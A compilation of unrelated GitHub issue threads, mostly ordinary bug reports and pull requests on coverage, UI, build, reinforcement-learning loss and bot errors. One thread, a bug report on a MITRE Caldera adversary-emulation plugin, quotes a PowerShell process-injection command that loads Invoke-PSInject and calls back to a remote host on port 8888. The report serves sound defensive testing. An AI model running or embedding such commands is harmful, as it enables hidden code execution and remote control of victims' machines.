  Lines         148      148
=======================================
  Hits          123      123
  Misses         25       25

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


RuntimeError: Failed to import transformers.modeling_utils

I have been using the Colab notebook normally today, but after taking a break and returning to work after an hour, it doesn’t execute the cell to give me Gradio and use SD. And it responds with this error.

!pip install --upgrade sentry-sdk
!pip install --upgrade transformers
!pip install --upgrade wandb
Helped me , thanks to Chatgpt)

!pip install --upgrade sentry-sdk !pip install --upgrade transformers !pip install --upgrade wandb
Helped me , thanks to Chatgpt)

Nicee, it worked. Thanks.

!pip install --upgrade sentry-sdk !pip install --upgrade transformers !pip install --upgrade wandb
Helped me , thanks to Chatgpt)

Praise the GTP <3

I just copied and pasted the error, and asked to write what could be causing it and the solutions.

In which cell did you put this? I've tried pasting the solution into my notebook but no luck.

Created 3 new cell before the Start Stable Diffusion

I still get some errors but it works, thank you very much guys 🙌


enhancement: change how boolean values are processed (and test arrays)

Currently the boolean is stringified to "true" for true or "" for false. It would be nicer to have the key name instead, so that when a file index.md has metadata authenticated: true, the pattern :authenticated?/:basename would map to authenticated/index.html rather than true/index.html.
Also a test with arrays when an index is not specified would be useful to default to the first item, as it is almost never the case that we would want a stringified array in the path like  1,2,3/index.html

Note: if implemented for booleans this check should omit fixed permalink property from processing


Problems with reproduction

Thanks for the awesome work! It is really interesting and powerful!
I followed the steps in README to reproduce the results reported in the paper. However, for step 1, I can only get a performance of around 64%  for VOC validation. Could you please share some possible reasons with me for this circumstance?

Thanks for your interest. We run the WeakTr CAM training (step 1) on a single A4000 GPU. And we noticed that the CAM training process would be different when launched on different kinds of GPUs. We have some suggestions for you to get a satisfactory result:

fix the random seeds and slightly adjust the learning rate.
adjust the total training epochs or use an early stop to prevent overfitting.


BUG Footer color mismatch to navbar in light mode

color of navbar footer is same in same mode

Assign me under JWOC

Assign me under JWOC

@Jagroop2001  assign me under JWIC pls


Bug: Footer overlaps content

Expected Behavior
Footer should be consistently appearing without affecting any content.
Current Behavior
Footer is overlapping content if the content exceeds the view height.
Steps to Reproduce
Please provide detailed steps for reproducing the issue.

Open an Analytics page of https://kzilla.xyz
If the content is more, footer is overlapping the content.

Hi could I work on this?

Hey @maxleee! It's all yours!

fixed with #184 in v2


Fix naming in coverage.yml

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@58ed9ca). Click here to learn what that means.
The diff coverage is n/a.

@@           Coverage Diff            @@
##             main        #2   +/-   ##
========================================
  Coverage        ?   100.00%
========================================
  Files           ?         2
  Lines           ?         5
  Branches        ?         0
========================================
  Hits            ?         5
  Misses          ?         0
  Partials        ?         0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 58ed9ca...9f42aed. Read the comment docs.


Taker UI confused about the increment / margin

So, we have a price from the maker but somehow no margin.
Most likely this is a problem of renaming parcel to lot!

Woot?

Daniel idiot: Did not build local UI.


Possible workaround for Issue#8

-This is just a suggestion for how to get around calculating ellipsis text if the content is not a string, but is a constant length (specifically icon of fixedwidth)
-Would work in resusable components (i.e. we are trying to have an info-icon that triggers a modal when clicked)
-You could pass in the prop on the component level to override the ellipsisText default (only use when you need to). Prop passed in would need to be set # of characters, so not great for patterns w/ lots of non-string ellipsis variation

I think a better approach would be to read .offsetWidth of the mounted ellipsis node, and change
measureWidth(testLine + ellipsis) <= targetWidth

to
measureWidth(testLine) + ellipsisWidth <= targetWidth

here.
That would improve the current approach of getting the .textContent of the ellipsis and base the calculation on that.
It doesn't matter that this is slower than calculating in a canvas, since we only need to do it once for every prop update that changes the ellipsis and can cache it afterwards.
Do you want to give it a shot at implementing this and updating the PR?
(Also please don't forget adding a test case if you add a feature, and fix linting issues. You can run them locally with npm test)

That sounds like a great tactic. I decided to switch directions w/ my
application so can't work on it right away, but will try to circle back and
update the PR when I get a chance.
Thanks for your feedback and contribution, we are really enjoying using
react-truncate!
On Wed, Sep 14, 2016 at 11:22 AM, Pablo Sichert<EMAIL_ADDRESS>wrote:

I think a better approach would be to read .offsetWidth of the mounted
ellipsis node
https://github.com/One-com/react-truncate/blob/master/src/Truncate.js#L255,
and change
measureWidth(testLine + ellipsis) <= targetWidth
to
measureWidth(testLine) + ellipsisWidth <= targetWidth
here
https://github.com/One-com/react-truncate/blob/master/src/Truncate.js#L164.
That would improve the current approach of getting the .textContent
https://github.com/One-com/react-truncate/blob/master/src/Truncate.js#L123
of the ellipsis and base the calculation on that.
It doesn't matter that this is slower than calculating in a canvas, since
we only need to do it once for every prop update that changes the ellipsis
and can cache it afterwards.
Do you want to give it a shot at implementing this and updating the PR?
(Also please don't forget adding a test case if you add a feature, and fix
linting issues. You can run them locally with npm test)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/One-com/react-truncate/pull/13#issuecomment-247049739,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ALrOijBD66SY8g3pNqtA0fW-xwcUgadlks5qqBEigaJpZM4J836P
.

Thank you for having reported this :-)
Fix is out with v1.1.4


[Plugin - Phase 10 - 3.B.1] Process Discovery (T1057), 3.C.1 - Process Injection (T1055)

Good evening,
This issue goes along with the one here: https://github.com/mitre-attack/evals_caldera/issues/1 since it has the same setup and operation execution/
As described in the previous issue, I also had two processes running as administrator (right click on cmd and powershell and ran them as Administrator) . I believe since the previous step Phase 9 - 3.A.1 failed as shown in here https://github.com/mitre-attack/evals_caldera/issues/1 (bypassUAC), this step could not run properly.
Script: https://github.com/mitre-attack/evals_caldera/blob/08315bfa28df7f6a10db3a9abadba1fdba9b2d96/data/abilities/privilege-escalation/088b8639-3f37-42cc-9dc8-01aabb645461.yml
Output:
Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('http://<IP_ADDRESS>:8888')"));Inject -PoshCode $pcode;
VERBOSE: Loading module from path 'C:\Users\pgustavo\Invoke-PSInject.ps1'.
VERBOSE: Dot-sourcing the script file 'C:\Users\pgustavo\Invoke-PSInject.ps1'.
Get-Process : The 'IncludeUserName' parameter requires elevated user rights. Try running the command again
in a session that has been opened with elevated user rights (that is, Run as Administrator).
At C:\Users\pgustavo\Invoke-PSInject.ps1:3583 char:5
+     Get-Process -IncludeUserName | Where-Object { $_.UserName -like " ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-Process], InvalidOperationException
    + FullyQualifiedErrorId : IncludeUserNameRequiresElevation,Microsoft.PowerShell.Commands.GetProcessComm
   and

According to the description of this step: https://github.com/mitre-attack/evals_caldera/blob/08315bfa28df7f6a10db3a9abadba1fdba9b2d96/data/abilities/privilege-escalation/088b8639-3f37-42cc-9dc8-01aabb645461.yml#L7
BypassUAC failed first, so it makes sense I guess that this step did not work.

One thing to mention too is that the plugin says that Phase 10 - 3.B.1  step ran successfully. However, as shown above, it did not. A screen shot:

Thank you in advance!

Admin note: closing all remaining issues and pull requests prior to archiving the repository


Gulp fixes/improvements

Thanks for this cool starter kit. It helped me a lot.
While trying to use it I found some issues/improvements so here is my contribution:

src folder was copied to the _site folder on jekyll build.
Two servers are launched by gulp:

browserSync
Jekyll.

That caused an issue in my computer because both were trying to use port 4000. In fact we don't really need both because browserSync can trigger the jekyll build and then reload browserSync instance which will result in better performance and an unique server reacting to jekyll/assets changes.

This also forces the trigger to rebuild jekyll when a yml file is changed. It means that if you have data based on yml files site will get automatically updated with the new data after changing it (to show a menu, etc.).

References:

I used the browserSync / jekyll solution used in https://github.com/shakyShane/jekyll-gulp-sass-browser-sync

BTW this will probably solve https://github.com/taylorbryant/tailwind-jekyll/issues/1 too because of this change:
https://github.com/taylorbryant/tailwind-jekyll/pull/2/files#diff-b9e12334e9eafd8341a6107dd98510c9R9

Thank you so much for this, and I'm really glad you got some use out of it! I'm going to take a look at the other PR later tonight.

@allcontributors add @phproberto for code


authorizedRoles not working properly

Description
The option authorizedRoles seems not to work properly. With the option set to admin for example, SimpleStats is still fully accessible for editor users. Only the option dismissDisclaimer => true set in site/config/config.php is ignored, meaning that the disclaimer dows show for editors.
Expected behavior
For unauthorized roles, SimpleStats should not be visible in the Panel menu.
My setup
Plainkit Kirby <IP_ADDRESS>
Console output
code: 403
details: Array []
exception: "Kirby\\Exception\\PermissionException"
file: "api.php"
key: "error.permission"
line: 331
message: "You are not authorised to upgrade the db file."
route: "simplestats/mainview"
status: "error"
<prototype>: Object { … }
index.js:1:6814

code: 403
details: Array []
exception: "Kirby\\Exception\\PermissionException"
file: "api.php"
key: "error.permission"
line: 58
message: "You are not authorised to view statistics."
route: "simplestats/pagestats"
status: "error"
<prototype>: Object { … }
index.js:1:6814

My system

Device: MacBook Pro 2019
OS: MacOS Monterey 12.0.1
Browser: Opera 82, Firefox 95

I've very quickly implemented a protection method which is indeed unpolished.
The PermissionExceptions are seemingly  correctly working, preventing data from being visible to unauthorized users.
Just the "interface hiding part" remains to be done.
Feel free to submit a PR or I'll polish this later.

It's not in the menu anymore, but there's still some roles polishing/checking to do, I'll consider this "bug" fixed.
Feel free to comment in #29 for permission-related feature requests.


Remove space in [web services] in company/bs data

To prevent creating invalid URLs that contain spaces, like https://www.nationalweb services.io/engage.

url already removes spaces https://github.com/brianvoe/gofakeit/blob/master/internet.go#L52

Sorry my bad, I was apparently working with a (very) old version.


[fabric] Multiple operations fix after ansible decoupling changes

Changelog

Add peer to org: https://github.com/hyperledger/bevel/pull/1940/commits/aef4ecde31a4d52c80f5e15b7e16b9965541c18e https://github.com/hyperledger/bevel/commit/d928beedde25ebf74bda46776453f643af2b240f

platforms/hyperledger-fabric/configuration/add-peer.yaml: "create/crypto/peer" role was no more available & replaced
platforms/hyperledger-fabric/charts/catools/templates/configmap.yaml: store-vault-peer.sh logic fix: If peer status is not "new" or "", then move on to next peer.
platforms/hyperledger-fabric/configuration/roles/create/ca-tools/peer/tasks/main.yaml:  The export syntax:
export VARIABLE=$VALUE does not seem to work in the sh used in bevel. Instead two line approach works VARIABLE=$VALUE; export VARIABLE. Ref: Link

Add raft orderer to org: https://github.com/hyperledger/bevel/pull/1940/commits/97394ca400b89330dba2b8f8de95eb883aee5a51

platforms/hyperledger-fabric/configuration/add-orderer.yaml: "create/crypto/orderer" role was no more available & replaced
platforms/hyperledger-fabric/configuration/roles/create/ca-tools/orderer/tasks/main.yaml: Export syntax change

Removing org: https://github.com/hyperledger/bevel/pull/1940/commits/e7951c5dd49445cd87d49a2d45e5be0cc1b4d1ac

platforms/hyperledger-fabric/configuration/roles/setup/config_block/sign_and_update/tasks/main.yaml: Changed condition to also involve the org being deleted to sign the config update block.
In a 3 org setup {supplychain (orderer), carrier, manufacturer}, removing one of the peer orgs lead to error indicating channel update policy not being met. Making the above change fixes this.

Hi @prasanths96
Thanks for the showing interest in Bevel and the code contribution. Give us sometime for this to be re-checked once from our end as well (as you are aware that these roles are used in many operational features and it will take some time for checking), and then we will get back to you with good-to-merge/requested-changes.

@jagpreetsinghsasan Alright, thanks!

@prasanths96 thanks for this PR, our PR #1956 contains your changes and more. You may want to take the latest from develop and test your cases.

Hmm.. So if it works in the current develop branch, this PR will be closed? This pr 17 days old, It puts me off to see same changes getting merged from another pull request that was created 2 days ago as if this pr wasn't taken seriously.

@prasanths96 This PR has been taken seriously, and hence our team took time to test that all functionalities were working with the changes you have made. In that process, they found other issues and fixed them too. I am sure your PR still contains important fixes. You can merge and update this PR.

@sownak Thank you!

The PR indeed was taken seriously by the team and we took this on the highest priority. As the changes spanned over a large piece of fabric deployment code, we had to perform thorough testing against all the fabric operational features, fixing other issues during the testing phase (#1956)
We highly appreciate community participation.


Potential conflict with betterlocalfiles customapp

from what I can gather, I think djinfo is stopping better local files from loading nor loading in better local files

scratch that it crashes anyway


Fix for Ubuntu

As far as I checked it works :) Library version cannot be parsed in ubuntu.

Hello! Thanks for the patch. Although your version will not always work as it should, since arduino_lib_version is used as a flag for GCC and is expected to be an integer I guess. So the right way is to parse the string and extract numeric part. I'll do this.


activiti-cloud-query to 7.0.11

Promote activiti-cloud-query to version 7.0.11

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@almerico: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

promotion-build
cef0f98baf7c0e03f920073d66381ae8d6a62801
link
/test this

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


--skipCommit flag does not work

Running nx run project:version --skipCommit twice on the same project on the second time will still update the package.json and will generate an empty changeLog and will create an additional commit, even thou there are no changes between fist run and the second
I can create an empty nx repo to demonstrate if necessary

Hey @mikhnikonov, why did you close the issue?

Hello @edbzn
I found out that it was in issue on my end, that in my version target options I had

"version": {
"executor": "@jscutlery/semver:version",
"options": {
"preset": "conventional",
"trackDeps": true,
"skipCommit": true,
"allowEmptyRelease": false,
"releaseAs": "patch"
}
},

And the last releaseAs did trigger the version bump and the changeLog creation and the commit
After removing it skipCommit did work as expected
But now I have to figure out how to release my package always as a patch 🤷

Nice, let me know if you need help.


Support for Confidential Compute Instances - different statements in localized docs

[Enter feedback here]

https://docs.microsoft.com/en-us/azure/batch/batch-pool-vm-sizes => lists DCSV2 as supported, so I can assume Confidential Computing is supported.

However when I visit
https://docs.microsoft.com/de-de/azure/batch/batch-pool-vm-sizes it says  DC: not supported.
Which is correct, does azure Batch support Confidential Computing fully, partly or not at all at the moment?

in portal no DC instance is available for creation
Thanks in advance for any feedback & clarification!
Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: aac389f7-3c0d-68a7-4de2-36206864686e
Version Independent ID: e41dbff7-0930-f0a1-3141-c7f14d0030b7
Content: Choose VM sizes and images for pools - Azure Batch
Content Source: articles/batch/batch-pool-vm-sizes.md
Service: batch
GitHub Login: @JnHs
Microsoft Alias: jenhayes

Hi @jakobfischer17 - thanks for pointing this out. The information on the en-us page is correct - Batch does support DCsv2 sizes. The inconsistent documentation is due to a delay updating the localized pages. I'll investigate why it's taken so long, and make sure these are updated as quickly as possible.

Hello again @jakobfischer17! The German article now shows the updated, correct information. Thank you again for raising the issue.
I'm going to close this issue out now, but if you have further feedback please let us know.
#please-close


sfu test error

I found a potential bug when testing the exp function of the SFU module.  When the input is F23FF0D7, the output of RRO is FF80000, which finally leads to the final output of exp being 7F800000. The input is an extremely large negative number and the output is inf but the golden result is zero. So there is a potential error in RRO. There is a similar issue for E84059E3.
Could you please kindly check it? Thanks!

Thanks for noticing the error. Indeed the exceptions table for such operations was partially implemented. I have completed it and asked for a pull request, so the new update should fix the issue for the ex2 operation. The exceptions table implemented follows the CUDA-PTX ISA 1.4 specifications for IEEE754 single precision

Input
Result

(-inf, -128]
+0.0

[+128, +inf]
+inf

-Inf
+0.0

-subnormal
+1.0

-0.0
+1.0

+0.0
+1.0

+subnormal
+1.0

+Inf
+Inf

NaN
NaN

Thanks for noticing the error. Indeed the exceptions table for such operations was partially implemented. I have completed it and asked for a pull request, so the new update should fix the issue for the ex2 operation. The exceptions table implemented follows the CUDA-PTX ISA 1.4 specifications for IEEE754 single precision

Input
Result

(-inf, -128]
+0.0

[+128, +inf]
+inf

-Inf
+0.0

-subnormal
+1.0

-0.0
+1.0

+0.0
+1.0

+subnormal
+1.0

+Inf
+Inf

NaN
NaN


RFC: Port 16x8 TensorFlow Lite operators to TensorFlow Lite for Microcontrollers

Thanks @dansitu for the RFC. In general the TFLM team is supportive of pursuing this addition.
A next step would be to share this RFC with the SIG-micro community and also add it as a discussion item for the next SIG-micro meeting.
We'd be up for working with you to make the implementation plan more specific so that the work involved can be appropriately scoped.

Tagging @freddan80 and @yair-ehrenwald as two contributors that I know are interested in this direction.

Last comment is that can you add an RFC section to the bottom of the TFLM README and link to the current RFC from there?
Something like:
RFCs

Port 16x8 TensorFlow Lite operators to TensorFlow Lite for Microcontrollers

I haven't looked into the details of the RFC, but will do so next week. In general, we're supportive of the idea to bring in the 16b activation support into TFLM.

Thank you @advaitjain, I'll address these ASAP.

I added some thoughts.

It has been 18 days with no activity and the awaiting response label was assigned. Is this PR still valid? Assigning the stalled label. Please comment to reassure me that this is still being worked on.

Yes, this is still being worked on.
On Sat, Mar 6, 2021 at 6:01 PM Alfred Sorten Wolf<EMAIL_ADDRESS>wrote:

It has been 18 days with no activity and the awaiting response label was
assigned. Is this PR still valid? Assigning the stalled label. Please
comment to reassure me that this is still being worked on.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/tensorflow/tensorflow/pull/46767#issuecomment-792137703,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAC4SY5MXQ256CZONUTA5PLTCLF45ANCNFSM4WXUCLCQ
.

--
Daniel Situnayake
Founding TinyML Engineer, Edge Impulse http://edgeimpulse.com/
<EMAIL_ADDRESS>+1<PHONE_NUMBER>
Twitter http://twitter.com/dansitu | LinkedIn
http://linkedin.com/in/situnayake

@dansitu  Any update on this PR? Please. Thanks!

@dansitu Any update on this PR? Please. Thanks!

Our team will be working further on this in the next week or so.

I've updated the RFC based on the comments, and we plan to begin work on this soon. @ageron will be helping coordinate the process on our side.

Thanks @advaitjain, that proposal sounds great and I've updated the RFC accordingly. I've also moved it into the correct directory.


Problem Show Columns resizing

I have the grid on the tab, when I change the tabs misaligns columns:
GRID:
enableRowSelection: true,
enableSelectAll: true,
selectionRowHeaderWidth: 30,
rowHeight: 30,
enablePaging: true,
enableHorizontalScrollbar: 0,
enableVerticalScrollbar: 0,
enableColumnResizing :  false,
and use this:
$interval(function() {
$scope.gridApi.core.handleWindowResize();
}, 10, 500);

how to solve this problem?

it happens in all browsers

Have you looked at http://ui-grid.info/docs/#/tutorial/108_hidden_grids
The general rule with tabs is that you should put an ng-if around the grid, and only render the grid if the tab is currently visible.  This will greatly improve your application performance - you won't be rendering grids that people can't see.

thanks resolved!


1.8.1 build fails on Linux (Swift 5.1.3)

Just FYI - I'll try bumping my swift version up to 5.2 to see if that helps but after updating to 1.8.1 (from 1.7.1) my linux build started failing with the following errors:
swift test --parallel --enable-code-coverage
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Combine.framework/Modules/Combine.swiftmodule/x86_64-apple-macos.swiftinterface:648:1: error: unknown attribute '_hasMissingDesignatedInitializers'
@_hasMissingDesignatedInitializers @available(iOS 13.0, OSX 10.15, tvOS 13.0, watchOS 6.0, *)
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/SwiftUI.framework/Modules/SwiftUI.swiftmodule/x86_64-apple-macos.swiftinterface:5:8: error: failed to load module 'Combine'
import Combine
       ^
/Users/sas/Downloads/Rester/.build/checkouts/swift-snapshot-testing/Sources/SnapshotTesting/Snapshotting/SwiftUIView.swift:1:5: error: failed to load module 'SwiftUI'
#if canImport(SwiftUI)
    ^
...

Bumping the base image up to 5.2.4 fixes it :)

Good to know! Thanks, Sven!


Gradient zero when diff is clipped

This code in q_network.py,
if self.clip_delta > 0:
    diff = diff.clip(-self.clip_delta, self.clip_delta)

results in gradients going to zero whenever the diff is clipped. In other words, gradients vanish precisely when they should be largest.
Simplified example of the problem:
>>> a = T.arange(-2, 2, 0.25)
>>> loss = T.sum(a.clip(-1, 1) ** 2)
>>> theano.gradient.grad(loss, a).eval()
array([-0. , -0. , -0. , -0. , -2. , -1.5, -1. , -0.5,  0. ,  0.5,  1. ,
        1.5,  2. ,  0. ,  0. ,  0. ], dtype=float32)

The Nature paper is actually misleading in its discussion of clipping:

We also found it helpful to clip the error term ... to be between -1 and 1. Because the absolute value loss function |x| has a derivative of -1 for all negative values of x and a derivative of 1 for all positive values of x, clipping the squared error to be between -1 and 1 corresponds to using an absolute value loss function for errors outside of the (-1,1) interval.

First, clipping the "squared error" to (-1, 1) isn't even sensible since the squared error is always positive. They presumably mean clipping the error, but even that is wrong since, as we see above, that would incorrectly lead to a zero gradient.
In their Torch implementation they use their clipped error term directly as the derivative of an implicit loss function with respect to network output, and propagate that backwards to determine the gradient. So their loss, implicitly, is quadratic when error is in (-1, 1), and linear (rather than flat) outside of that region.
I have a patch for this, which I'm currently testing to verify improved learning performance. Results are promising so far.

PR #47 has the fix. The new behavior in simplified form:
>>> clip_delta = 1.
>>> diff = T.arange(-2, 2, 0.25)
>>> quadratic_part = T.minimum(abs(diff), clip_delta)
>>> linear_part = abs(diff) - quadratic_part
>>> loss = T.sum(0.5 * quadratic_part ** 2 + clip_delta * linear_part)
>>> theano.gradient.grad(loss, diff).eval()
array([-1.  , -1.  , -1.  , -1.  , -1.  , -0.75, -0.5 , -0.25,  0.  ,
        0.25,  0.5 ,  0.75,  1.  ,  1.  ,  1.  ,  1.  ], dtype=float32)

Or with clip_delta = 1.5:
>>> clip_delta = 1.5
>>> diff = T.arange(-2, 2, 0.25)
>>> quadratic_part = T.minimum(abs(diff), clip_delta)
>>> linear_part = abs(diff) - quadratic_part
>>> loss = T.sum(0.5 * quadratic_part ** 2 + clip_delta * linear_part)
>>> theano.gradient.grad(loss, diff).eval()
array([-1.5 , -1.5 , -1.5 , -1.25, -1.  , -0.75, -0.5 , -0.25,  0.  ,
        0.25,  0.5 ,  0.75,  1.  ,  1.25,  1.5 ,  1.5 ], dtype=float32)

I'll post some results on six games tomorrow morning.

Nice work!  I'll merge PR#47 immediately.  The current behavior is clearly broken.  I'll close this issue when we get some confirmation that this improves performance.

The data I've collected so far are depicted in these graphs, which depict reward_per_episode using both the old and new code, for six games up to about 40 epochs.
Results are clearly much better for asterix, breakout, gravitar, seaquest, and space_invaders. Not noticeably better, and possibly worse, for tennis (but tennis is really bad to begin with, and this is not out of family with the Nature paper).

Results look promising.  I don't remember seeing the .5 multiplier in the loss function in either the Nature paper or the DQN code.  Am I missing something?

The trick is that the DeepMnd implementation never actually explicitly defines the loss function, it defines the derivative of loss with respect to Q output, and loss is implicit from that. I included the 1/2 to make our explicit loss equal their implicit loss.
The Nature paper incorrectly describes what they do (explained in this issue description). A faithful implementation of the paper, as opposed to their code, results in this very bug. :)
Anyways, RMSProp is pretty scale-invariant so in practice it shouldn't make much difference.

I'm thinking this is a better match to the loss function in the Nature paper: (?)
>>> clip_delta = 1.0
>>> diff = T.arange(-2, 2, 0.25)
>>> quadratic_part = T.minimum(abs(diff), clip_delta/2.0)
>>> linear_part = abs(diff) - quadratic_part
>>> loss = T.sum(quadratic_part ** 2 + clip_delta * linear_part)
>>> theano.gradient.grad(loss, diff).eval()
    array([-1. , -1. , -1. , -1. , -1. , -1. , -1. , -0.5,  0. ,  0.5,  1. ,
        1. ,  1. ,  1. ,  1. ,  1. ], dtype=float32)

Just saw your message as I posted mine.  I agree it's more important to match the behavior of their working code than the errors in the paper :)   I also agree a difference like this probably won't make much difference to learning outcomes, but I think it is actually important to get these details to match.   As much as possible, people should feel comfortable making apples-to-apples comparisons between the behavior of this code and previously published results.

Well, their code sets the derivative to the clipped delta. If you integrate that, you get the loss I specified.

Got it.  Thanks again for catching this.

For reference, 100 epochs for comparison on those six games.
Note that asterix learning going unstable around epoch 70 is consistent with DeepMind's reported results here: http://arxiv.org/abs/1509.06461


[smartlyrics] Error in lyrics cmd

Hey Rayan,
Getting this error from <p>lyrics command.
Cog: SmartLyrics
Traceback (most recent call last):
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 85, in wrapped
    ret = await coro(*args, **kwargs)
  File "/home/ubuntu/.local/share/Red-DiscordBot/data/dusky/cogs/CogManager/cogs/smartlyrics/smartlyrics.py", line 176, in lyrics
    spotify_id = self.get_user_status_song(ctx.author)
  File "/home/ubuntu/.local/share/Red-DiscordBot/data/dusky/cogs/CogManager/cogs/smartlyrics/smartlyrics.py", line 81, in get_user_status_song
    return s.track_id
AttributeError: 'str' object has no attribute 'track_id'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/bot.py", line 939, in invoke
    await ctx.command.invoke(ctx)
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 863, in invoke
    await injected(*ctx.args, **ctx.kwargs)
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 94, in wrapped
    raise CommandInvokeError(exc) from exc
discord.ext.commands.errors.CommandInvokeError: Command raised an exception: AttributeError: 'str' object has no attribute 'track_id'

Thanks

Hii
Actually it triggered the nonetype config error, after updating yes
Exception in command 'lyrics'
Traceback (most recent call last):
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 85, in wrapped
    ret = await coro(*args, **kwargs)
  File "/home/ubuntu/.local/share/Red-DiscordBot/data/dusky/cogs/CogManager/cogs/smartlyrics/smartlyrics.py", line 186, in lyrics
    lastfm_username = await lastfm_cog.config.user(ctx.author).lastfm_username()
AttributeError: 'NoneType' object has no attribute 'config'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/bot.py", line 939, in invoke
    await ctx.command.invoke(ctx)
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 863, in invoke
    await injected(*ctx.args, **ctx.kwargs)
  File "/home/ubuntu/redenv/lib/python3.9/site-packages/discord/ext/commands/core.py", line 94, in wrapped
    raise CommandInvokeError(exc) from exc
discord.ext.commands.errors.CommandInvokeError: Command raised an exception: AttributeError: 'NoneType' object has no attribute 'config'

God I did a horrible job testing this cog, try v2.1.5

No worries
Always happy to help!
And yes it did fix the issue.
Thanks rayan
Have a great night:)

Perfect! Thanks, you too :)


Fixed social assertions so they can be serialized

@akalin-keybase ready for review

lgtm, but maybe @maxtaco or @patrickxb should take a look, too.

Sorry to add churn but if serialization is a concern, wouldn't it be better to include this as part of the keybase1 protocol?

@maxtaco: what advantage does putting it in keybase1 have for serialization?  For types that are only used from golang, I don't see why that's better, and in fact it seems to have some downsides like an extra make step when you change something.

Seems more consistent that every object that will eacape the process's
address space to be represented in avdl. There is also the small matter of
lower case representation outside on the process and upper case inside.
In addition, the social media assertion object could be used in the mdapi
protocol.
I don't feel too strongly but if it were me I would donor that way.
On Sunday, April 3, 2016, Jeremy Stribling<EMAIL_ADDRESS>wrote:

@maxtaco https://github.com/maxtaco: what advantage does putting it in
keybase1 have for serialization? For types that are only used from
golang, I don't see why that's better, and in fact it seems to have some
downsides like an extra make step when you change something.
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/keybase/client/pull/2520#issuecomment-204867711

It's true in this case that the data will be used the mdapi1 protocol, so I'm onboard with the suggestion.  But in general, in kbfs, we don't follow this convention yet with other data types.  If this is something we want to move to going forward in kbfs, we might want to change the avdl compiler to include an unknown fields member in every generated Go struct, and also to generate DeepCopy methods (that would be sweet actually).

Which protocol should own it then?

@jzila, probably keybase.1.common would make the most sense
@strib we could easily do that, or do that selectively based on flags in the avdl file.  We've started to make our own custom features due to insane bikeshedding in Gregor

@maxtaco ok. Maybe we should have a "data" protocol whose purpose is detached from any individual RPC protocol?

that's kind of the idea of common though maybe named poorly
On Sun, Apr 3, 2016 at 3:35 PM, John Zila<EMAIL_ADDRESS>wrote:

@maxtaco https://github.com/maxtaco ok. Maybe we should have a "data"
protocol whose purpose is detached from any individual RPC protocol?
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/keybase/client/pull/2520#issuecomment-205040589

right but I meant actually detached from keybase.1

I don't have a strong opinion on this, but am slightly opposed to lots of churn is all....

With regards to this specific item, I don't have a strong opinion either. However, if we're taking the steps to split out the protocols to the "correct" repositories and areas of ownership, then we should agree on where the common stuff goes. If that's keybase.1, then I'm happy with that and I'll switch it over.

@maxtaco @akalin-keybase I've added the relevant data structures to keybase1, and left the parser in libkb. Will that work?

:+1:

:+1:


[ENHANCE 🗣] (Sub)category name on cards

what

Displaying subcategory when viewing root categories or all projects(including staff picks, saved, recommendations, and backed by people you follow).
Displaying category when a project's category is a root category. (but hiding if you're looking at a root category filter)
Displaying Projects We Love when project is a staff pick but hiding when viewing the staff picks filter.
Hiding both potential tags when project is not a staff pick and you're filtered by the project's category.
Added documentation to the outputs of ProjectCardHolderViewModel since there wasn't any

see
All Projects                                                                       Staff Picks/Projects We Love

Root category                                                                      Subcategory

Added documentation for
me

 Show category on discovery project card


Cupertino Navigation Bar: Menu on back button press and hold for previous routes.

Is there an existing issue for this?

[X] I have searched the existing issues
[X] I have read the guide to filing a bug

Use case
In iOS 16, when you press and hold on the back button in the nav bar, a menu pops up with all of the previous page titles in the user history. When one is selected, the user goes directly to that page.
Proposal
Below is an example of this behavior in action:
https://user-images.githubusercontent.com/58190796/235268808-1545da5a-082e-4963-8bee-1676aef2e69a.mov
Ideally we'd want to copy navigation shortcuts like this so end users that are used to this sort of muscle memory will still be able to navigate this way.
In order to make this work correctly, we'd need to make sure that the current page has the previous page titles in the most graceful way. Maybe from the Navigator API?

